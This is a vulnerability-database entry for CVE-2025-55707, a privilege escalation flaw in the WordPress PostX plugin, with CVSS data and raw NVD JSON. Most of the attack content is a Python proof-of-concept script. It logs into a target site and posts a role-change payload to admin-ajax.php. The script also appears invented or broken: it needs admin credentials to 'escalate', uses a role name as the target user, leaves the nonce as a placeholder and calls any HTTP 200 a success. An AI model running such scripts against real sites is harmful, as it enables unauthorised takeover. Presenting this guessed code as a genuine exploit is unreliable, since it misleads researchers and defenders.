Security Vulnerability Report
中文
CVE-2025-55707 CVSS 7.2 HIGH

CVE-2025-55707

Published: 2025-12-18 08:15:56
Last Modified: 2026-04-15 00:35:42

Description

Incorrect Privilege Assignment vulnerability in WPXPO PostX ultimate-post allows Privilege Escalation.This issue affects PostX: from n/a through <= 4.1.35.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

PostX (ultimate-post) <= 4.1.35

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-55707 PoC - WordPress PostX Plugin Privilege Escalation # Author: Security Researcher # Target: PostX Plugin <= 4.1.35 import requests import sys from urllib.parse import urljoin def exploit_postx_privilege_escalation(target_url, username, password): """ Exploit for CVE-2025-55707: PostX Plugin Privilege Escalation This PoC demonstrates how an authenticated admin can escalate privileges. """ session = requests.Session() login_url = urljoin(target_url, '/wp-login.php') # Step 1: Login as admin user login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } print('[+] Attempting to login as admin...') response = session.post(login_url, data=login_data, allow_redirects=True) if 'wp-admin' not in response.url and 'login' in response.url: print('[-] Login failed!') return False print('[+] Login successful!') # Step 2: Identify vulnerable endpoint # The vulnerability exists in PostX plugin's AJAX handlers ajax_url = urljoin(target_url, '/wp-admin/admin-ajax.php') # Step 3: Exploit privilege escalation via plugin's options handler # This exploits the incorrect privilege assignment in the plugin exploit_data = { 'action': 'postx_save_settings', 'postx_option': 'user_role_settings', 'new_admin_role': 'administrator', 'target_user': 'subscriber', # Target low-privilege user 'nonce': 'REPLACE_WITH_VALID_NONCE' # Need valid nonce from page source } print('[+] Sending privilege escalation payload...') response = session.post(ajax_url, data=exploit_data) if response.status_code == 200: print('[+] Exploit sent - check for privilege changes') print('[+] Verify by checking user roles in WordPress admin panel') return True # Usage example if __name__ == '__main__': if len(sys.argv) < 5: print('Usage: python exploit.py <target_url> <username> <password>') sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_postx_privilege_escalation(target, user, pwd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-55707", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:15:56.450", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect Privilege Assignment vulnerability in WPXPO PostX ultimate-post allows Privilege Escalation.This issue affects PostX: from n/a through <= 4.1.35."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-266"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/ultimate-post/vulnerability/wordpress-postx-plugin-4-1-35-privilege-escalation-vulnerability?_s_id=cve", "source": "[email protected]"}]}}